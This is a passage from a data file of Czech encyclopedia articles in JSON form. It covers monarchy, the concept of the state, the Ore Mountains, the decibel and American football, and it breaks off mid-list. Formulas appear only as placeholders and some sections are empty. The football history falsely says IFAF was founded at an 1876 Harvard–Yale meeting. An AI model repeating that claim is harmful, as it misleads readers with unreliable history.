"Monarchie jsou asociovány s doživotní dědičnou vládou panovníka, jehož odpovědnost a moc jeho postavení přechází na následníka. Výhoda dědičné monarchie je okamžitá kontinuita vlády (jak dokládá fráze Král je mrtev, ať žije král). V absolutní monarchie vládne panovník jako autokrat s neomezenou mocí. Absolutní monarchie nejsou nezbytně autoritární. V konstituční monarchii je panovníkova moc omezena ústavou. Vláda panovníka začíná korunovací či intronizací. Regent vládne pokud je panovník mladistvý či nepřítomný. Abdikace je akt, kterým se panovník vzdává vlády.", "", "V dědičné monarchii je postavení panovníka děděno podle zákonů nebo zvyklostí následnictví, obvykle v panovnické rodině na základě dynastického původu. Následník je obvykle znám již před svým nástupem na trůn. V dědičné monarchii všichni panovníci pocházejí zpravidla ze stejné dynastie a koruna přechází z jednoho člena rodu na druhého. Tento systém má výhodu stability, kontinuity a předvídatelnosti, stejně jako vnitřních stabilizujících faktorů jakými jsou rodová náklonnost a loajalita. Například, když král nebo královna dědičné monarchie zemře nebo odstoupí, koruna obvykle připadne další generaci, tj. jeho nebo jejímu potomkovi, obvykle v určité posloupnosti seniority. Když tento potomek zemře, koruna přechází plynule jeho potomkům, nebo pokud nemá dědice, pak dále na bratra či sestru, sestřenku, bratrance, nebo další přímé příbuzné. Dědičné monarchie nejčastěji určují následnictví podle legislativně daného, přesně určeného pořadí následnictví, tudíž je dlouho dopředu známo, kdo bude příštím panovníkem. Dnešní obvyklý typ následnictví je v dědičných monarchiích založen na určité formě primogenitury, ale existují i další metody jako například seniorát, tanistry nebo rotační následnictví, které byly obvyklejší v minulosti.", "Volená monarchie je monarchie, ve které je panovník volen určenou skupinou šlechty. Polské království a Svatá říše římská německého národa byly až do svých posledních dní volebními monarchiemi. Některé státy se systémem volební monarchie fungují dosud, jsou čtyři: Vatikán, Kambodža, Malajsie a Spojené arabské emiráty." ] }

{ "title": [ "Vymezení a definice státu.", "Druhy státu.", "Vznik státu.", "Alternativní definice.", "Kritika.", "Název státu." ], "section_level": [ "1", "1", "1", "1", "1", "1" ], "content": [ "Niccolò Machiavelli poprvé definoval „stát“ jako pojem, který vyjadřuje politický útvar, aniž by sledoval typ režimu, který v něm je. Stát je neutrální, neboť nezahrnuje myšlenku dobra ani zla. Jeho hlavním a jediným zájmem je rozšíření a udržení moci, či jeho stability, kterou neudržuje řád, ale vojenská síla. Max Weber definuje „stát“ jako lidské společenství, které si na určitém území nárokuje pro sebe monopol legitimního násilí. Pokud by neexistovalo násilí jako prostředek vynucování státního zájmu, tak by stát zanikl a místo něj by nastoupila anarchie. Kritéria státu jsou definována v Konvenci o právech a povinnostech států z Montevidea, která byla podepsána roku 1933. Podle této mezinárodní konvence je stát subjektem mezinárodního práva splňující tato kritéria: Montevideo je oblastní Americká konvence, ale principy obsažené v tomto článku byly obecně uznány v mezinárodním právu. Je otázka, zda tato kritéria jsou dostatečná. Každopádně první tři z uvedených kritérií jsou všeobecně uznávána, čtvrté de facto nastupuje automaticky při splnění prvních třech, proto se většinou v mezinárodní právu ani neudává. Praktickou podmínkou (a v minulosti hlavní) pro existenci státu je samozřejmě jeho uznání ostatními státy. Thomas Hobbes definuje stát jako tzv. společenskou smlouvu mezi jednotlivcem a panovníkem. Dle jeho názoru král přejímá veškerou výkonnou, zákonodárnou a soudní moc, proti které není žádné odvolání. G. W. F. Hegel je toho názoru, že stát může být chápán jako politická jednotka určená územím, obyvatelstvem a autonomní vládou. Příslušnost k tomuto státu je dána občanstvím.", "Druhy státu lze rozlišit například podle těchto kritérií: Zvláštním případem státních celků jsou také personální unie (společný panovník více států) a reálné unie (vlastně mezistupeň personální unie a konfederace).", "Dějiny zaznamenaly nejrůznější způsoby vzniku států působením vnitřních i vnějších sil. Existuje několik základních teorií, jak stát vznikl:", "Stát je trvalý organický svazek lidstva, jisté teritorium obývajícího, s jedinou vůlí a jedinou mocí nejvyšší, jehož účelem jest napomáhati dosažení všech životních úkolů lidu, takto spojeného.", "Proti státu jako takovému vystupují anarchisté, který ho považují za nemorální, nepotřebný nebo přímo škodlivý. Jejich cílem je nahrazení státu jiným společenským uspořádáním. Anarchismus se člení na vícero proudů, které mohou, ale nemusejí, být navzájem kompatibilní. Sociální anarchisté navrhují stát nahradit autonomními komunitami nebo jejich obdobou, kdežto individualističtí anarchisté dávají důraz na svobodu jednotlivce a způsob, jakým se jednotlivec bude sdružovat s ostatními nechávají na něm. Ekonom a anarchokapitalista Murray Rothbard považoval stát za nemorální, neboť prostředky ke své činnosti získává stát daněmi, které lidé na jeho území platí nedobrovolně a zároveň si přisvojuje pravomoci vyšší, než mají lidé, které stát zastupuje, a nemohli tedy na něj tato svá práva delegovat (např. právo vymáhat daně po jiných osobách).", "Většina států má dva názvy: Dlouhá podoba (oficiální název) se používá, je-li řeč o státu jakožto o právnické osobě, např. \"Toto rozhodnutí je určeno Spojenému království Velké Británie a Severního Irska.\", \"Francouzská republika je oprávněna...\", \"Smlouva mezi Ruskou federací a Belgickým královstvím...\" Pokud z důvodu opakování názvu státu v textu vyvstane potřeba užití zkrácené podoby, lze ji uvést obratem v závorce: „(dále jen ‚...‘)“. Zkrácená podoba (zkrácený název) se užívá, je-li řeč o státu ve smyslu geografickém nebo ekonomickém, např. \"dělníci, kteří žijí ve Francii (na území Francie)\", \"vývoz z Řecka\", \"vyrobeno v Německu\". U některých států jsou dlouhá a krátká podoba shodné, v nynější době např. \"Dominikánská republika\", \"Spojené arabské emiráty\", \"Středoafrická republika\", \"Bosna a Hercegovina\", \"Černá Hora\", \"Gruzie\", \"Irsko\", \"Island\", \"Jamajka\", \"Japonsko\", \"Kanada\", \"Maďarsko\", \"Malajsie\", \"Nový Zéland\", \"Rumunsko\", \"Turkmenistán\", \"Ukrajina\". Ohrožení státu: Ideologie, které nevyžadují nebo vylučují existenci státu:" ] }

{ "title": [ "Etymologie.", "Geografie.", "České geomorfologické členění.", "Německé dělení hor.", "Vrcholy.", "Významná města.", "Geologie.", "Hydrologie.", "Nerostné suroviny.", "Klimatické podmínky.", "Fauna a flóra.", "Průmysl a zemědělství.", "Průmysl.", "Zemědělství." ], "section_level": [ "1", "1", "2", "2", "2", "2", "1", "1", "1", "1", "1", "1", "2", "2" ], "content": [ "Název pohoří vznikl podle některých zdrojů od staročeského slova \"krušec\" znamenající rudný kámen.", "Údolí Svatavy odděluje na západě Krušné hory od Smrčin, resp. Elstergebirge a Vogtlandu. Na severovýchodě na Krušné hory navazuje u Krásného Lesa a Nakléřovského průsmyku Děčínská vrchovina (hranice mezi oběma celky tedy leží přibližně v místech, kudy je vedena dálnice D8 do Saska). Z jihu jsou ostře ohraničeny údolím Ohře, ve východní části pak Mosteckou pánví. Severní hranice je vzhledem k pozvolnému klesání obtížně definovatelná. Z geologického hlediska leží až na úrovni Collmbergu (312 m). Vrchovina mezi Chemnitzem a německým Cvikovem se obvykle označuje jako Erzgebirgsvorland (Krušnohorské podhůří).", "Z hlediska českého geomorfologického členění jsou Krušné hory geomorfologickým celkem v rámci Krušnohorské hornatiny a dělí se na Klínoveckou a Loučenskou hornatinu. Kompletní geomorfologické členění české části hor uvádí následující tabulka:", "Z hlediska německého dělení na tzv. Naturraumy (přírodní oblasti) tvoří Erzgebirge (D16) jednotku třetí úrovně, tedy \"Haupteinheitengruppe\" (skupinu hlavních jednotek). Vyšší a nižší jednotky už na české členění tak dobře nenavazují. Nadřazenou jednotkou druhé úrovně \"(Region)\" je Östliche Mittelgebirge (Východní středohoří), tedy v podstatě celá německá část České vysočiny. Nepočítá se sem už Erzgebirgsvorland (Krušnohorské podhůří), které spolu se Sächsisches Hügelland (Saskou pahorkatinou) tvoří celek D19 a patří do regionu Nordostdeutsches Tiefland (Severovýchodoněmecká nížina). Němci dělí Krušné hory na 2, resp. 3 části: Západní Krušné hory (Westerzgebirge), Východní Krušné hory (Osterzgebirge), někdy ještě vyčleňují Střední Krušné hory (Mittelerzgebirge). Hranicí mezi Západními a Východními Krušnými horami je potok Flöha (Flájský potok). Podle staršího dělení Emila Meynena se Krušné hory (celek 42) dělí na 5 podcelků:", "Krušné hory jsou kerné pohoří. Tvoří je nakloněná kra, jejíž jižní okraj byl vyzvednut podél zemského zlomu. Proto směrem k severu klesají pozvolně, zatímco na jihu jsou omezené 500–700 m vysokým příkrým svahem. Jejich nejvyššími vrcholy jsou postupně od JZ k SV : Počátecký vrch (821 m), Kraslický Špičák (991 m), Plešivec (1028 m), Božídarský Špičák (1115 m), Fichtelberg (1214 m), Klínovec (1244 m, nejvyšší vrchol), Jelení hora (994 m), Medvědí skála (924 m), Loučná (956 m) a Komáří hůrka (808 m). Nejvyššími vrcholy podle nadmořské výšky jsou Klínovec (1244 m), Fichtelberg (1214 m) a Božídarský Špičák (1115 m). I podle prominence je na prvním místě Klínovec (748 m), na druhém a třetím jsou \"netisícovky\" Loučná (236 m) a Jelení hora (177 m). Podrobný seznam nejvyšších a nejprominentnějších krušnohorských hor obsahuje Seznam vrcholů v Krušných horách. Následující tabulka zobrazuje všechny krušnohorské tisícovky:", "Mezi významná města pod Krušnými horami patří Ústí nad Labem, Krupka, Chabařovice, Teplice, Duchcov, Litvínov, Most, Chomutov, Kadaň, Klášterec nad Ohří, Ostrov, Jáchymov, Jirkov, Karlovy Vary, Sokolov, saský Cvikov, Freiberg, Chemnitz, Drážďany a obec Merklín.", "Geologická historie Krušných hor začíná v předprvohorním období, kdy se patrně vytvořily nejstarší usazeniny a vyvřeliny, později změněné vlivem tlaků a tepla v hloubce zemské kůry na tzv. šedé a červené ruly. Geomorfologický vývoj celé soustavy byl silně ovlivněn až třetihorní zlomovou tektonikou, která způsobila silné poklesy na jv. straně pohoří a vznik jezerních depresí, jako např. Komořanské jezero na Mostecku. Pohyby na zlomových liniích, které se několikrát opakovaly, usnadnily také práci povrchové vodě a přispěly tak ke vzniku hlubokých příčných údolí v Krušných horách a mocných kamenitých sutí a jiných zvětralin na horských svazích. Jednou z typických krušnohorských hornin jsou ortoruly. V průměru obsahují přibližně: 75 % křemene, 14 % oxidů hliníku, 4 % oxidu draselného, 2,5 % oxidu sodného, 1,3 % oxidu vápenatého, 1,8 % oxidu železnatého, 0,6 % oxidu hořečnatého a 0,6 % vody.", "Česká strana Krušných hor je odvodněna k jihu do Ohře a Bíliny. Hlavní vodní osou je Ohře, která vstupuje do Krušných hor v Chebské pánvi. Má na svém horním toku značný spád a až teprve v oblasti Žatce se stává její tok pozvolným. Mosteckou pánev odvodňuje Bílina, která pramení na úbočích hor severozápadně od Chomutova. Přijímá řadu dalších potoků jak z hor tak i během svého dalšího toku. Nejvýchodnější část je odvodňována Jílovským potokem, který Jílovským údolím teče k východu a v Děčíně se vlévá do Labe. Na horských potocích se nachází několik umělých nádrží, mezi ty největší patří Přísečnická, Flájská a Křimovská přehrada, sloužící jako zásobárny pitné vody. V pánvi je to pak vodní nádrž Nechranice, která je využívána i pro rekreaci. Toky na severu netečou podél hor, ale směrem od hlavního hřebene pryč do německých nížin, postupně se však většina z nich sejde v řece Muldě. Jak Ohře, tak Mulda se vlévají do Labe; některé potoky na východě Krušných hor se vlévají do Labe přímo.", "V horách se odedávna těžily rudy obsahující měď, cín, stříbro, olovo, a železo. Později se k nim přidaly ještě kobalt, nikl, wolfram, a ve 20. století také uran. Na počátku 21. století se předmětem zájmu stala možnost těžby lithia v oblasti Cínovce. Mezi nejvýznamnější ložiska patří: Jáchymov, Cínovec, Krupka, Měděnec, Přísečnice a Kovářská. Z dalších surovin je nejvýznamnější hnědé uhlí v podkrušnohorských pánvích, dále jsou to jíly v podloží hnědouhelných slojí a třetihorní keramické jíly (např. ve Skalné u Chebu). Významné jsou také krušnohorské rašeliny, které představují přirozenou zásobárnu i zdroj vody (jsou chráněny). Mezi těžbu můžeme zařadit i využívání minerálních pramenů vyskytující se v podkrušnohorském prolomu – Teplice, Bílina, Karlovy Vary. Proslulé jsou i radioaktivní prameny, které vystupují na dříve těžených rudných žilách v Jáchymově.", "Podnebí v oblasti hřebene je drsnější, s prudkými bouřemi, s větry zejména na podzim a v zimě, se studenou zimou, s krátkým, několikatýdenním létem, které je však poměrně teplé. Průměrné teploty ve výšce 900 m jsou kolem 4 °C, v 1 200 m je to kolem 2,5 °C. V zimě jsou hory turisty vyhledávanou oblastí, sněhová pokrývka dosahuje místy až 4 m. Sníh tu padá až 100 dní v roce (ve výšce 1 200 m je to až 214 dní). Mrazíky se vyskytují i v červnu a v září. Celkově v Krušných horách převládají severní a západní větry, vlhké a studené, které přinášejí rychlou změnu počasí, dlouhé zimní mlhy, které se vyskytují ve výšce kolem 700 m n. m., a to 90× – 124× do roka. Množství srážek odpovídá poloze Krušných hor a jejich výšce. Na hřebenech tu ročně spadne 1000 až 1200 mm vody, v nižších polohách méně (více na německé straně). Krušné hory jako celek způsobují tzv. srážkový stín v oblasti podkrušnohorských pánví, tyto srážky pak dopadají až ve středních Čechách, ročně spadne tedy v pánevní oblasti jen kolem 500 mm srážek.", "Podkrušnohoří není nejvhodnějším místem pro volně žijící zvířata (pro své osídlení a hlavně průmysl). Lepší podmínky jsou v pohraničí a přilehlých zalesněných oblastech. Žijí zde zajíci \"(Lepus europaeus),\" ježci \"(Erinaceus europaeus),\" jezevci \"(Meles meles),\" jeleni \"(Cervus elaphus)\" a na Chebsku a Ašsku i daňci \"(Dama dama).\" Rostlinstvo Krušných hor se v poslední době výrazně změnilo. Původní pralesovité porosty, tvořené smíšenými lesy, byly většinou během intenzivní těžby a zpracování rud vykáceny a nahrazeny smrkovými monokulturami, které byly koncem 20. století těžce poškozeny průmyslovými imisemi (tzv. kyselé deště) a následným přemnožením hmyzích škůdců, vichřicemi se silnou námrazou. To vedlo k postupné likvidaci velké části lesů. Tyto holiny jsou v poslední době systematicky zalesňovány dřevinami, které lépe snášejí zdejší klimatické podmínky, a to břízami, modříny \"(Larix decidua)\" a stříbrnými smrky. Plocha lesů zaujímá v Krušných horách 75 %, nejrozšířenějším stromem tu pak je smrk \"(Picea abies),\" ten vystupuje až do nejvyšších poloh (kleč je zde velmi vzácná), na velmi rozsáhlých plochách krušnohorských rašelinišť (zejména Božídarské rašeliniště) se daří v hojné míře borovicím, břízám a vřesu. Z dalších rostlin zde najdeme např. vzácný náprstník červený \"(Digitalis purpurea),\" diviznu velkokvětou \"(Verbascum thapsiforme)\" nebo smetanku lékařskou \"(Taraxacum officinale).\"", "Mezi nejvýznamnější centra v oblasti Krušných hor v podkrušnohorské pánvi jsou od jihozápadu k severovýchodu Sokolov, Karlovy Vary, Ostrov nad Ohří, Klášterec nad Ohří, Kadaň, Chomutov, Litvínov, Bílina, Duchcov, Teplice, Ústí nad Labem a Děčín. Významná místa přímo v horách jsou Jáchymov, Nejdek, Kraslice, Měděnec, Cínovec.", "V oblasti podkrušnohorské pánve se nejvíce těží hnědé uhlí, které tvoří palivovo-energetickou základnu Česka. Největší doly jsou v Mostecké pánvi, menší a méně kvalitní pak v Sokolovské a Chebské. Hnědé uhlí je zde okamžitě využíváno pro tvorbu tepelné a elektrické energie. Velké elektrárny jsou v Tušimicích, Prunéřově a Bílině. Kvůli těžbě hnědého uhlí zaniklo v rozmezí let 1945–2006 přes 100 vesnic a stará část města Most. Dalším významným průmyslem je chemický, který je soustředěn ve městech Litvínov (Chemopetrol, Česká Rafinérská) a Ústí nad Labem (Spolchemie, Setuza). Dále je rozšířen sklářský průmysl v Teplicích (AGC Flat Glass) a Ústí nad Labem, či porcelánky v Karlových Varech nebo v Klášterci nad Ohří. Na německé straně po staletí přetvářelo krajinu zejména dolování (už ve 12. století se u Freibergu našlo stříbro, ještě koncem 20. století se na některých místech těžil uran), ale po útlumu těžby je nejznámějším krušnohorským odvětvím řezbářství a výroba dřevěných hraček.", "Hlavními plodinami jsou brambory, oves a krmiva. Značný je rozsah luk, pastvin a lesů. V živočišné výrobě převládá chov skotu." ] }

{ "title": [ "Akustika.", "Fyziologické porovnávání hladiny akustického tlaku.", "Limity.", "Elektřina a elektrotechnika.", "Zpracovávání zvuku.", "Radiotechnika." ], "section_level": [ "1", "2", "2", "1", "1", "1" ], "content": [ "Toto vyjadřování reality se uplatnilo zejména v akustice: na pokusech s dobrovolníky a mrtvou komorou se zjistilo, že průměrný jedinec slyší nejvýrazněji frekvence kolem 1–3 kHz. Pro vytvoření etalonu se použil sinusový tón 1000 Hz. Ten se pouštěl velmi potichu v absolutně tichém, bezodrazovém prostředí jedincům s odpočatým sluchem. Zjistilo se, že průměrný jedinec jej začne vnímat, je-li v komoře hladina akustického tlaku p = 2×10 Pa. Logaritmováním poměru zvukového tlaku a tohoto stanoveného nejslabšího slyšitelného zvuku vznikne relativní (bezrozměrné) číslo, jehož jednotka je označena jako bel. Běžně se ovšem pracuje s desetkrát podrobnější jednotkou decibel (odvozená pomocí předpony soustavy SI deci). Jednotka je pojmenována po skotském vynálezci, o kterém se až do roku 2001 mluvilo jako o vynálezci telefonu, A. G. Bellovi. Označíme-li hladinu akustického tlaku \"L\", pak: formula_1 Jde o logaritmus o základu 10. Proč druhé mocniny? Ukazuje se výhodné zavést jednotku tak, aby pracovala primárně raději s výkonem a výkon vzrůstá se čtvercem tlaku (mikrofony při měřeních ovšem reagují na tlak). Definujeme hladinu intenzity \"L\": formula_2 Jak bylo uvedeno, člověk nevnímá stejně hlasitě stejně intenzivní podněty při různých frekvencích. Pokusy ukázaly, že toto vnímání se navíc mění při různých hlasitostech. (Výsledkem těchto měření jsou ISO křivky (dříve Fletcher-Munsonovy křivky) stejné hlasitosti.) Aby změřené hodnoty více reflektovaly lidské vnímání, vznikly analyticky jednoduše vyjádřitelné korekční křivky A, B, C. Křivka C je v intervalu 125 Hz až 1 kHz konstantně rovna nule (nezavádí žádnou korekci), nad tímto intervalem a pod ním zavádí zápornou korekci. Křivka B připodobňuje měření subjektivnímu vjemu hlasitých zvuků, křivka A vjemu slabších zvuků. Pokud udáváme veličinu upravenou pomocí korekční křivky, neudáváme už hladinu tlaku/intenzity, ale hladinu zvuku a za značku decibelu se do závorky doplní symbol použité korekční křivky. Např.: formula_3 Zvukoměr je přístroj, který měří přesným mikrofonem akustický tlak, převádí jej na střídavé napětí, podle potřeb měření umožňuje zařazení některého z filtrů realizujícího křivky A, B, C. Změřené napětí pak zobrazí na voltmetru ocejchovaném v decibelech. Přímá souvislost hladiny akustického tlaku s elektrickým napětím potřebným k vybuzení rádiového vysílače nebo elektroakustického měniče vedla k tomu, že zvukový mistr pracující se středoevropským zvukovým režijním zařízením má indikátor vybuzení (voltmetr splňující přesná kritéria chování) ocejchovaný rovněž v decibelech (bez korekčních křivek). Písmeno \"L\" značí obecnou úroveň - \"level\". Půjde-li o studiové zařízení firmy z éry socialismu, pak formula_4 Moderní studiová zařízení a všechna telekomunikační zařízení pracují s jinou referenční hodnotou: formula_5 Komerční zařízení pracují s ještě jinou referenční hodnotou: formula_6 Pro výpočet průměru v čase je vhodnější použít aritmetický průměr argumentu logaritmu. Aritmetický průměr decibelů (geometrický průměr akustického tlaku) dává zkreslené výsledky.", "Pro srovnání úrovně akustického hluku lze využít tuto tabulku:", "V ČR stanoví limity hluku nařízení vlády 272/2011. Základní hladinou pro venkovní prostory je limit 50 dB. Pro dobu v noci se snižuje o 10 dB, ale pro hlukovou zátěž v blízkosti komunikací se zvyšuje až o 20 dB. Ekvivalentní hladina akustického tlaku se určuje buď měřením či výpočtem podle provozu na komunikaci.", "Jak je už zřejmé, pomocí decibelu se charakterizují i výkonové jednotky, i v elektrickém světě (např. vysílače) (\"G\" - angl. gain - zisk, \"m\" - miliwatt). (Je dobré si opět povšimnout, že nyní násobíme desíti.) formula_7 Rozdíl v používání označení \"L\", \"G\" nebo \"A\" je zpravidla dán tím, že L se používá ve vztahu k tzv. referenčnímu výkonu, které je P=1mW, zatímco G a A se používají k vyjádření skutečného poměru 2 výkonů - například zesílení zesilovače a podob. Jednotka dBm a (decibel nad miliwattem) se často používá i pro měření napětí. Aby ale bylo možné přepočítat výkon na napětí, musí být udána i impedance: formula_8 Pokud není řečeno jinak, uvažuje se normovaná impedance o hodnotě formula_9. Pokud výkon formula_10 na impedanci formula_11 přepočítáme na napětí, dostaneme hodnotu formula_12", "S nástupem digitální techniky je pouze přirozená další metamorfóza decibelu: mějme analogově/digitální převodník, kterým zpracováváme zvuk. Pak formula_13 w je v takovém případě největší slovo, které je převodník schopen zpracovat. V případě údajů převodníků jde o fyzikálně bezrozměrné jednotky. Písmena FS značí \"Full Scale\", tedy plný rozsah (rozuměj převodníku).", "V radiotechnice vyjadřuje dBi zisk antény v porovnání s izotropní anténou, dBd zisk v porovnání s půlvlnným dipólem. Místo dBd se častěji setkáme jenom s označením dB. Platí dBi = 2,16 + dBd formula_14" ] }

{ "title": [ "Historie.", "Pravidla.", "Hra.", "Hrací čas a přestávky.", "Hrací pole.", "Hráči a herní výstroj.", "Číslování hráčů.", "Barvy.", "Kopy.", "Dovolené a nedovolené kopy.", "Punt.", "Drop-kick.", "Free-kick.", "Kick-off.", "Scrimmage kick.", "Return-kick.", "Touchback.", "Soutěže.", "Národní soutěže.", "National Football League.", "Česká liga amerického fotbalu (ČLAF).", "Série A7 (AF-UVAS).", "Asociace.", "Zdraví." ], "section_level": [ "1", "1", "1", "2", "1", "1", "2", "2", "1", "2", "3", "3", "3", "3", "3", "3", "3", "2", "2", "3", "3", "3", "2", "1" ], "content": [ "Historie amerického fotbalu začala někdy v 19. století v Anglii, kdy William Webb Ellis, hráč obyčejného fotbalu znuděný tím, že s míčem mohl manipulovat pouze nohama, se rozhodl jednoduše míč zdvihnout a běžet s ním. Přestože to bylo v rozporu s pravidly fotbalu, ostatním hráčům se to líbilo a tak se zrodilo ragby. Nový sport se rychle stal světově oblíbeným a našel si svoji cestu do Ameriky v polovině 19. století. Rozšířil se hlavně mezi univerzity na severovýchodě a netrvalo dlouho a představitelé tohoto sportu z Harvardovy univerzity a Yale University se roku 1876 setkali v Massachusetts, aby se dohodli na pravidlech ragby, která byla podobná jako v Anglii. Avšak existovaly v nich rozdíly: namísto kulatého míče se univerzity rozhodly používat míč vejcovitého tvaru a název tohoto sportu změnili z ragby na americký fotbal. Na závěr střetnutí byla vytvořená organizace International Federation of American Football(IFAF), aby předsedala tomuto americkému sportu. Americký fotbal byl však stále americkou verzí ragby. Nakonec však Yaleský hráč Walter Camp přesvědčil organizaci IFAF, aby změnili několik pravidel tohoto sportu a vytvořili tak sport velmi podobný tomu dnešnímu. Díky tomu je Walter Camp považován historiky za otce dnešního moderního amerického fotbalu.", "Americký fotbal hraje 11 hráčů na každé straně, kteří se můžou při přerušení libovolně střídat. Každé mužstvo má minimálně dva 11členné týmy – jeden určený pro útok – (offense) a jeden pro obrannou hru (defense). Na hřiště vždy nastupuje útok jednoho týmu proti obraně druhého a naopak. Útočící je to mužstvo, které má v držení míč. Hraje se na hřišti ve tvaru obdélníku s nafouknutým balónem ve tvaru protáhlého sféroidu. Týmy získávají body za skórování dle platných pravidel a pokud hra není vzdána, je vítězem ten tým, který má na konci hry, včetně prodloužení, více bodů.", "Snahou útoku je dosáhnout maximálního bodového zisku, tedy dosáhnout touchdown nebo alespoň field goal. Tým má 4 pokusy (downy) na překonání 10yardové vzdálenosti. Místo, odkud se rozehrávají jednotlivé akce a kolem kterého se stavějí týmy do základního postavení, se nazývá line of scrimmage. Jde o pomyslnou přímku protínající hřiště v místě, kde skončila předchozí akce. Akci začíná center přihrávkou na quarterbacka (snap), který pak buď míč hodí receiverovi (pass), nebo předá runningbackovi (run), který běží s míčem do soupeřovy endzony. Pokud se útoku podaří nejvíce na 4. pokus překonat 10yardovou hranici, získává tým opět první down a pokračuje v útoku. Pokud se však útok neposune o 10 yardů ani na čtvrtý pokus, získává míč a tím i právo k útoku soupeř. Vlastní akce začíná v okamžiku, kdy centr na smluvený signál podá mezi nohama míč quarterbackovi, a končí v momentě, kdy obrana složí hráče s míčem, vytlačí ho do autu, hráč s míčem se dotkne země jinou částí těla než podrážkou anebo dlaní ruky. Při pasu je hra ukončena, pokud přihrávka šla mimo hřiště (out of bounds) či mimo chytajícího hráče (nebo ji hráč nezpracoval) a míč spadl na zem (incomplete pass). Útok pak přichází o jeden pokus a rozehrává se ze stejného místa jako při předchozím pokusu. Obrana může pro svoje mužstvo získat míč při kterémkoliv pokusu útoku v následujících případech (turnover): Jakýkoliv útočící hráč může míč při fumblu vzít a pokračovat dál, ale při fumblu, který nastane v průběhu čtvrtého downu nebo v průběhu posledních 2 minut na konci 2 a 4 čtvrtiny může míč získat a pokračovat s ním pouze ten hráč útoku, který fumble způsobil. Pokud se ho však zmocní jiný hráč z útočícího týmu jedná se o tzv. mrtvý míč a obrana bude začínat svůj útok z toho místa, kde útočící hráč vzal míč (protože byl už 4 down, který je poslední). Obrana se může míče zmocnit a pokračovat s ním dál kdykoliv. Na začátku zápasu, začátku druhé poloviny a po každém touchdownu a field goalu se provádí výkop (kickoff) z 35yardové čáry. Kdo bude kopat na začátku utkání, se určí losem, v polovině zápasu si vybírá soupeř, který prohrál los na začátku. Po touchdownu nebo field goalu vykopává mužstvo, které bodovalo, tedy doposud útočilo. Zvláštní výkop se provádí po safety, kdy vykopává mužstvo, kterého hráč byl složen v endzone a navíc musí kopat už z 20yardové čáry. Při výkopu mohou nastat tyto situace: a) vykopávající tým bude provádět znovu kickoff o 5 yardů dál, tedy na 30yardové čáře b) přijímací tým bude rozehrávat útok 30 yardů od místa kde byl kopnut kickoff (nejčastější volba týmů) c) přijímací tým bude rozehrávat z toho místa kde míč opustil hřiště Další herní situací, která může nastat, je punt. Jedná se o kopnutí míče z ruky daleko do soupeřova pole. Útok provádí punt (většinou) tehdy, jestliže má čtvrtý pokus a z předchozích akcí je zřejmé, že se mu nepodaří získat první down, a dosud se nedostal tak blízko soupeřově brance, aby mohl kopnout field goal. Tímto kopem se útok vzdává míče a práva útočit a funkce týmu na hřišti je stejná jako při kick off. Odkopnutý míč mohou chytat jak hráči přijímacího týmu (doposud hráli obranu), tak hráči útoku. Pokud punt přeletí line of scrimmage a jakýkoliv hráč z týmu, který prováděl punt ho chytí, tak přijímací tým bude rozehrávat útok od toho místa kde hráč z vykopávajícího týmu míč chytil, nebo se ho dotkl. Pokud se však hráč vykopávajícího týmu dotkne míče před tím než míč přeletí line of scrimmage, jedná se o fumble a může se ho zmocnit jakýkoliv tým, pokud je tato situace v souladu s pravidly fumblu. Pokud se míč dotkne jakkoliv některého z hráčů přijímacího týmu a spadne na zem, jde o tzv. volný míč a získává ho (a tím pádem i právo útoku) mužstvo, kterého hráč jako první míč zalehl. Tady je (poměrně malá) šance útoku, který punt provedl a tím se vzdal práva dále útočit, znovu získat zpět míč a pokračovat v útoku.", "Celkový čas utkání je 60 minut, rozdělený do čtyř čtvrtin po 15 minutách, s jednominutovou přestávkou mezi čtvrtinami a 12minutovou přestávkou mezi poločasy (tj. mezi druhou a třetí čtvrtinou). Některá utkání se hrají na 4 x 12 minut. V tomto sportu se hraje na čistý čas.", "Americký fotbal se hraje na obdélníkovém hřišti (trávníku nebo umělém povrchu) dlouhém 120 yardů (1 yard = 0,914 m), které je pravidelně rozděleno na 12 desetiyardových pásem. Dvě krajní pásma se nazývají end zone – koncové zóny. Jednotlivé čáry jsou označeny od středu směrem ke koncovým zónám postupně 50, 40, 30, 20, 10 yardů. Čára, kterou začíná end zone, se nazývá goal line – gólová čára a na konci endzone stojí branky. Každá branka se skládá ze dvou bílých nebo žlutých, alespoň 9 m vysokých vertikálních sloupů, spojených ve výšce 3 m nad zemí stejně barevnou horizontální tyčí.", "", "Hráči mohou mít čísla v rozmezí 1 – 99. Jakékoliv číslo, kterému by předcházelo číslo 0 je neplatné. Ale každý post ve fotbale má svá určená individuální čísla: Toto rozdělení platí pouze pro National Football League (NFL). V univerzitních ligách není číslo hráče omezeno pozicí.", "Hráči soupeřících družstev musí mít dresy odlišných barev s tím, že hostující tým má světlou barvu dresů. Světlou barvu dresů může mít i domácí tým, pokud se tak týmy dohodly před začátkem sezóny. Hráči jednoho týmu musí mít stejnou barvu i design dresů.", "", "Kopáním rozumíme úmyslný úder do míče kolenem, holením nártem nebo chodidlem.", "Punt je kop, kdy hráč pustí míč a kopne jej dříve, než dopadne na zem.", "Drop-kick je kop, kdy hráč upustí míč a kopne jej v okamžiku kdy se míč dotkne země.", "Free-kick je kop provedený hráčem týmu, který má míč v držení.", "Kick-off je free-kick, kterým začíná každý poločas a kterým se otvírá hra po extra-point nebo field-point. Tento kop musí být proveden formou place-kick nebo drop-kick.", "Scrimmage kick je kop, který je proveden z neutrální zóny, nebo z prostoru před neutrální zónou. Může být proveden pouze před tím, než dojde k výměně držení míče mezi družstvy. Tento kop projde neutrální zónou teprve v okamžiku, kdy spadne na zem, nebo se jej dotkne hráč, rozhodčí nebo cokoliv jiného za neutrální zónou.", "Return-kick je kop provedený hráčem týmu B, který má míč v držení, poté, co se ho zmocnil ve stejném downu, který započal tým A, a provedl kop. Jedná se o zakázaný kop – live-ball faul, míč se stává mrtvým.", "Nastává, jestliže hráč chytí míč ve vlastní end zone a zaklekne, poté začíná jeho tým útočit na vlastních 20yardech.", "", "", "National Football League (NFL) je největší profesionální liga amerického fotbalu na světě hraná ve Spojených státech.", "V České republice jsou první zmínky datovány od roku 1990, kdy prvotní aktivita Martina Vobořila vedla k založení prvního týmu - Prague Lions. Česká Asociace Amerického Fotbalu, byla založena v roce 1994 odkdy se koná pravidelně soutěž o mistra ČR. Historický nejúspěšnějším týmem jsou Prague Panthers (12x mistr, 4x vicemistr) a Prague Lions (4x mistr, 8x vicemistr). Ligu hraje v současnosti více než 35 týmů rozdělených do čtyř divizí. Divize A: Prague Lions, Prague Panthers, Prague Black Hawks, Brno Alligators, Bratislava Monarchs, Ostrava Steelers Divize B: Liberec Titans, Šumperk Dietos, Budweis 